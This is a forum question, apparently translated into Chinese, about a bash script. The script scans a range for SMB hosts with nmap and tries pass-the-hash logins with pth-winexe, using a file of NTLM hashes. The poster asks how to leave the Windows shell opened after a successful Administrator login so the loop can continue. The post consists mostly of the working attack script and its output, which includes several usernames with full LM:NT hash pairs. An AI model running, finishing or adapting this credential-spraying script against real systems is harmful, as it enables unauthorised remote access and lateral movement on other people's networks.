我有一个问题,我希望有人可以提供帮助...
我有一个带有foreach
循环的bash脚本,它会尝试登录各种不同的用户帐户,并在成功登录后通知我。登录成功后,我将获得Windows命令提示符作为回报。
这是我的问题开始的地方,因为一旦成功登录而不是退出Windows命令提示符然后继续尝试登录其他帐户,这些命令实际上会进入Windows命令提示符,显然不起作用。
我的代码:
#!/bin/bash
echo "[*] Usage : $0 <hashfile> <ip or iprange>"
hashfile=$1
iprange=$2
echo "[*] Trying to login "
for host in $(nmap -p 139,445 $iprange -oG - | grep [0-9]/open | cut -d ' ' -f2); do
while IFS=: read -r smbuser f2 f3 f4 rest; do
smbhash="${f3}:${f4}"
echo
echo "[+] DOING $smbuser@$host with HASH: $smbhash"
pth-winexe -U $smbuser%$smbhash //$host cmd; #the code that tries to login
done < "$hashfile"
done
脚本输出:
[+] DOING lisa@192.168.1.22 with HASH: c1e4767bca5d1200aad3b435b51404ee:8280f06d9948afe0ea8eee72304de490
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE
[+] DOING mark@192.168.1.22 with HASH: 6ff8898d3889a0edaad3b435b51404ee:6a0426f4d83012b9705d6c103bfb0db9
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE
[+] DOING Administrator@192.168.1.23 with HASH: 7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>alice:1008:7025c6546ad4eaf2944e2df489a880e4:5569fc0d643cda8944c18fb1abbfc3f4:::
The filename, directory name, or volume label syntax is incorrect.
The filename, directory name, or volume label syntax is incorrect.
C:\WINNT\system32>backup:1006:16ac416c2658e00daad3b435b51404ee:938df8b296dd15d0dce8eaa37be593e0:::
C:\WINNT\system32>david:1009:aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
The filename, directory name, or volume label syntax is incorrect.
The filename, directory name, or volume label syntax is incorrect.
C:\WINNT\system32>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
C:\WINNT\system32>IUSR_SRV2:1002:f7d96ebcbe5b6be3103ccb00190f6271:09ff503707453d56bb69f40bef542da0:::
The filename, directory name, or volume label syntax is incorrect.
The filename, directory name, or volume label syntax is incorrect.
C:\WINNT\system32>
您可以在上面显示的脚本输出中看到当Administrator@192.168.1.23 with HASH: 7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af
工作并向我提供C:/ Windows / system32提示时,脚本没有意识到这一点,只是继续没有意识到命令正在输入Windows命令提示符。
我的问题:
当成功登录并且我获得Windows命令提示符(例如C:\ Windows \ system32)时,我如何退出Windows命令提示符我刚刚获得并使用bash脚本继续执行其余的登录尝试。
非常感谢您对此的帮助,谢谢